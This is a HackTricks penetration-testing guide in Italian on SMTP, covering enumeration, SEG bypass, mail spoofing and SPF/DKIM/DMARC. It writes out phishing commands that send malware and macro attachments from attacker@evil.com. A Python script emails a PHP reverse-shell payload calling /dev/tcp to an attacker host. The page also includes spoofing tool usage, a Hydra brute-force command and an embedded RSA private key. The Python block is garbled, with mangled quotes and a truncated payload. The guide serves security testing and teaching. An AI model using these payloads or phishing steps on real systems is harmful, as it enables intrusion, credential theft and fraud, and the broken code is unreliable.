25,465,587 - Pentesting SMTP/s

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Il Simple Mail Transfer Protocol (SMTP) è un protocollo utilizzato nella suite TCP/IP per il invio e la ricezione di e-mail. A causa delle sue limitazioni nel mettere in coda i messaggi sul lato del destinatario, SMTP è spesso impiegato insieme a POP3 or IMAP. Questi protocolli aggiuntivi consentono agli utenti di conservare i messaggi in una casella di posta sul server e di scaricarli periodicamente.

Nella pratica, è comune che i programmi di posta elettronica utilizzino SMTP for sending e-mails, mentre usino POP3 or IMAP for receiving. Sui sistemi basati su Unix, sendmail è il server SMTP più frequentemente usato per la posta elettronica. Il pacchetto commerciale noto come Sendmail include un server POP3. Inoltre, Microsoft Exchange fornisce un server SMTP e offre la possibilità di includere il supporto POP3.

Porta predefinita: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Gateway di Sicurezza Email (SEGs)

As mentioned in this blog post Secure Email Gateways (SEGs) si pongono in-line con il flusso di posta in ingresso modificando i MX records per puntare al SEG invece che al mail server. Il SEG ispeziona la posta in ingresso (es., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) e poi inoltra, elimina o mette in quarantena i messaggi in base alla policy. Il modello di sicurezza presume che tutta la posta in ingresso raggiunga prima il SEG; se il mail server è raggiungibile direttamente, il SEG può essere evitato (simile a bypassare un WAF parlando direttamente con l’origine).

Evitare i SEGs tramite mismatch MX

Le organizzazioni che utilizzano Entra ID / Exchange Online spesso hanno più domini accettati. Se qualsiasi dominio accettato ha un MX record che punta direttamente al mail server (es., Exchange Online) invece che al SEG, puoi consegnare la posta a quel dominio e evitare il SEG. Questa è una errata configurazione (non una vulnerabilità) ma rimane una lacuna comune.

Nota anche il dominio predefinito <tenant>.onmicrosoft.com: il suo MX record punta sempre a Exchange Online. Se l’inbound verso *.onmicrosoft.com non è bloccato, inviare a user@<tenant>.onmicrosoft.com può arrivare direttamente nella casella di posta in arrivo bypassando il SEG.

Note difensive:

  • Bloccare l’inbound verso *.onmicrosoft.com.
  • Verificare regolarmente i domini accettati e il loro routing MX.
  • Configurare i mail server per accettare solo l’inbound proveniente dal SEG.

Intestazioni EMAIL

Se hai l’opportunità di far inviare alla vittima un’email (ad esempio tramite il contact form della pagina web), fallo perché potresti apprendere la topologia interna della vittima osservando le intestazioni dell’email.

Puoi anche ottenere un’email da un SMTP server che prova a inviare a quel server un’email a un indirizzo inesistente (perché il server invierà all’attaccante una mail NDN). Però assicurati di inviare l’email da un indirizzo consentito (controlla la policy SPF) e che tu possa ricevere messaggi NDN.

Dovresti anche provare a inviare contenuti differenti perché puoi trovare informazioni più interessanti nelle intestazioni come: X-Virus-Scanned: by av.domain.com
Dovresti inviare il file di test EICAR.
Rilevare l’AV potrebbe permetterti di sfruttare vulnerabilità note.

Azioni di base

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Trovare i server MX di un’organizzazione

dig +short mx google.com

Enumerazione

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Information disclosure

Se il server supporta NTLM auth (Windows) puoi ottenere informazioni sensibili (versioni). Maggiori informazioni here.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Oppure automatizza questo con il plugin nmap smtp-ntlm-info.nse

Nome interno del server - Divulgazione di informazioni

Alcuni server SMTP completano automaticamente l’indirizzo del mittente quando il comando “MAIL FROM” viene emesso senza un indirizzo completo, rivelando il suo nome interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Controlla se riesci a sniffare qualche password dai pacchetti verso la porta 25

Auth bruteforce

Username Bruteforce Enumeration

L’autenticazione non è sempre necessaria

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Strumenti automatici

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Rapporti DSN

Report di notifica dello stato di consegna: Se invii un’email a un indirizzo non valido di un’organizzazione, l’organizzazione ti notificherà che l’indirizzo non è valido inviando una mail di risposta. Le Headers dell’email restituita conterranno possibili informazioni sensibili (come l’IP address dei servizi di posta che hanno interagito con i report o informazioni sul software anti-virus).

Commands

Invio di un’Email dalla console di linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Quando si allegano file con swaks, usare il prefisso @ in modo che i byte del file siano incorporati invece della stringa del nome del file. Questo è fondamentale per consegnare documenti con macro:

swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5

Inviare un’email con Python

Codice Python qui ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

La vulnerabilità SMTP Smuggling ha permesso di bypassare tutte le protezioni SMTP (vedi la sezione successiva per maggiori informazioni sulle protezioni). Per maggiori dettagli su SMTP Smuggling consulta:


<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Mail Spoofing Countermeasures

Le organizzazioni impediscono che vengano inviate email non autorizzate a loro nome impiegando **SPF**, **DKIM**, e **DMARC** a causa della facilità di spoofing dei messaggi SMTP.

Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [was "deprecated" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **TXT record** in `_spf.domain.com` lo crei in `domain.com` usando la **stessa sintassi**.\
> Inoltre, per riutilizzare i precedenti spf records è abbastanza comune trovare qualcosa come `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) è un meccanismo che permette ai Mail Transfer Agents (MTAs) di verificare se un host che invia una email è autorizzato interrogando una lista di mail server autorizzati definita dall'organizzazione. Questa lista, che specifica indirizzi/range IP, domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.

#### Meccanismi

From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Meccanismo | Descrizione                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Corrisponde sempre; usato per un risultato di default come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti.                                                                                                                                                                                                                                  |
| A         | Se il nome di dominio ha un record di indirizzo (A o AAAA) risolvibile all'indirizzo del mittente, corrisponde.                                                                                                                                                                                                                   |
| IP4       | Se il mittente è in un dato intervallo di indirizzi IPv4, corrisponde.                                                                                                                                                                                                                                                                              |
| IP6       | Se il mittente è in un dato intervallo di indirizzi IPv6, corrisponde.                                                                                                                                                                                                                                                                              |
| MX        | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponde (cioè la mail proviene da uno dei server di posta in arrivo del dominio).                                                                                                                                                                          |
| PTR       | Se il nome di dominio (record PTR) per l'indirizzo del client appartiene al dominio indicato e quel nome di dominio risolve all'indirizzo del client (forward-confirmed reverse DNS), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile.                                                                                     |
| EXISTS    | Se il nome di dominio fornito risolve in qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo). È usato raramente. Insieme al linguaggio macro di SPF offre match più complessi come query DNSBL.                                                                                                                           |
| INCLUDE   | Fa riferimento alla policy di un altro dominio. Se la policy di quel dominio passa, questo meccanismo passa. Tuttavia, se la policy inclusa fallisce, l'elaborazione continua. Per delegare completamente alla policy di un altro dominio bisogna usare l'estensione redirect.                                                                                     |
| REDIRECT  | <p>Un redirect è un puntatore a un altro nome di dominio che ospita una policy SPF, permette a più domini di condividere la stessa policy SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La policy SPF del dominio indicato nel meccanismo redirect verrà utilizzata.</p> |

È anche possibile identificare **i Qualificatori** che indicano **cosa fare se un meccanismo corrisponde**. Per impostazione predefinita viene usato il qualificatore "+" (quindi se un meccanismo corrisponde, è consentito).\
Di solito troverai, alla fine di ogni policy SPF, qualcosa come: **\~all** o **-all**. Questo indica che **se il mittente non corrisponde a nessuna policy SPF, dovresti etichettare l'email come non affidabile (\~) o rifiutarla (-).**

#### Qualificatori

Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:

- **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita i meccanismi presuppongono questo qualificatore, rendendo `+mx` equivalente a `mx`.
- **`?`**: Rappresenta un risultato NEUTRAL, trattato in modo simile a NONE (nessuna policy specifica).
- **`~`**: Indica SOFTFAIL, fungendo da via di mezzo tra NEUTRAL e FAIL. Le email con questo risultato sono generalmente accettate ma contrassegnate di conseguenza.
- **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata.

Nell'esempio seguente viene illustrata la **SPF policy di google.com**. Nota l'inclusione di policy SPF di domini diversi all'interno della prima SPF policy:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradizionalmente era possibile spoofare qualsiasi nome di dominio che non avesse un record SPF corretto/assente. Al giorno d’oggi, se una email proviene da un dominio senza un record SPF valido probabilmente verrà rifiutata/contrassegnata automaticamente come non attendibile.

Per verificare lo SPF di un dominio puoi usare strumenti online come: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM viene utilizzato per firmare le email in uscita, consentendone la validazione da parte di Mail Transfer Agents (MTAs) esterni tramite il recupero della chiave pubblica del dominio dal DNS. Questa chiave pubblica si trova nel TXT record del dominio. Per accedere a questa chiave è necessario conoscere sia il selector sia il nome del dominio.

Ad esempio, per richiedere la chiave sono necessari il nome del dominio e il selector. Questi possono essere trovati nell’header della mail DKIM-Signature, e.g., d=gmail.com;s=20120113.

Un comando per recuperare queste informazioni potrebbe essere:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Autenticazione dei messaggi basata sul dominio, Reporting & Conformità)

DMARC migliora la sicurezza delle email sfruttando i protocolli SPF e DKIM. Definisce politiche che indicano ai mail server come gestire le email provenienti da un dominio specifico, compreso come gestire i fallimenti di autenticazione e dove inviare i report sulle azioni di elaborazione delle email.

Per ottenere il record DMARC, devi interrogare il sottodominio _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Tag DMARC

Tag NamePurposeSample
vProtocol versionv=DMARC1
pctPercentage of messages subjected to filteringpct=20
rufReporting URI for forensic reportsruf=mailto:authfail@example.com
ruaReporting URI of aggregate reportsrua=mailto:aggrep@example.com
pPolicy for organizational domainp=quarantine
spPolicy for subdomains of the ODsp=reject
adkimAlignment mode for DKIMadkim=s
aspfAlignment mode for SPFaspf=r

E i sottodomini?

Da here.
Devi avere record SPF separati per ogni sottodominio da cui desideri inviare mail.
Quanto segue è stato originariamente pubblicato su openspf.org, che era una risorsa eccellente per questo tipo di informazioni.

The Demon Question: What about subdomains?

If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”

Questo ha senso - un sottodominio potrebbe trovarsi in una zona geografica diversa ed avere una definizione SPF molto diversa.

Open Relay

Quando vengono inviate email, è fondamentale che non vengano contrassegnate come spam. Questo si ottiene spesso tramite l’uso di un server relay considerato affidabile dal destinatario. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali range di IP che è sicuro consentire. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio frequentemente identificato nelle security assessments.

Una soluzione alternativa che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente nelle comunicazioni con clienti potenziali o in corso, è consentire connessioni da qualsiasi indirizzo IP. Questo viene fatto configurando il parametro mynetworks del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:

mynetworks = 0.0.0.0/0

Per verificare se un server di posta è un open relay (cioè che potrebbe inoltrare email da qualsiasi fonte esterna), si usa comunemente lo strumento nmap. Include uno script specifico progettato per testarlo. Il comando per effettuare una scansione verbosa su un server (ad esempio con IP 10.10.10.10) sulla porta 25 usando nmap è:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Strumenti

Invia Spoof Email

Oppure puoi usare uno strumento:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

Se ottieni un errore usando la dkim python lib durante il parsing della chiave, puoi usare la seguente.
NOTA: Questa è solo una soluzione rapida e sporca per effettuare controlli veloci nei casi in cui, per qualche motivo, la chiave privata openssl non possa essere analizzata da dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Oppure puoi farlo manualmente:

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

Maggiori informazioni

Per maggiori informazioni su queste protezioni vedi https://seanthegeek.net/459/demystifying-dmarc/

Altri indicatori di phishing

  • Età del dominio
  • Links pointing to IP addresses
  • Link manipulation techniques
  • Allegati sospetti (non comuni)
  • Contenuto dell’email danneggiato
  • Valori usati che differiscono da quelli nelle intestazioni della mail
  • Presenza di un certificato SSL valido e affidabile
  • Invio della pagina a siti di filtraggio dei contenuti web

Exfiltration through SMTP

Se puoi inviare dati via SMTP read this.

Config file

Postfix

Di solito, se installato, /etc/postfix/master.cf contiene script da eseguire quando, per esempio, una nuova mail viene ricevuta da un utente. Per esempio la riga flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa che /etc/postfix/filtering verrà eseguito se una nuova mail viene ricevuta dall’utente mark.

Other config files:

sendmail.cf
submit.cf

Riferimenti

Comandi automatici HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks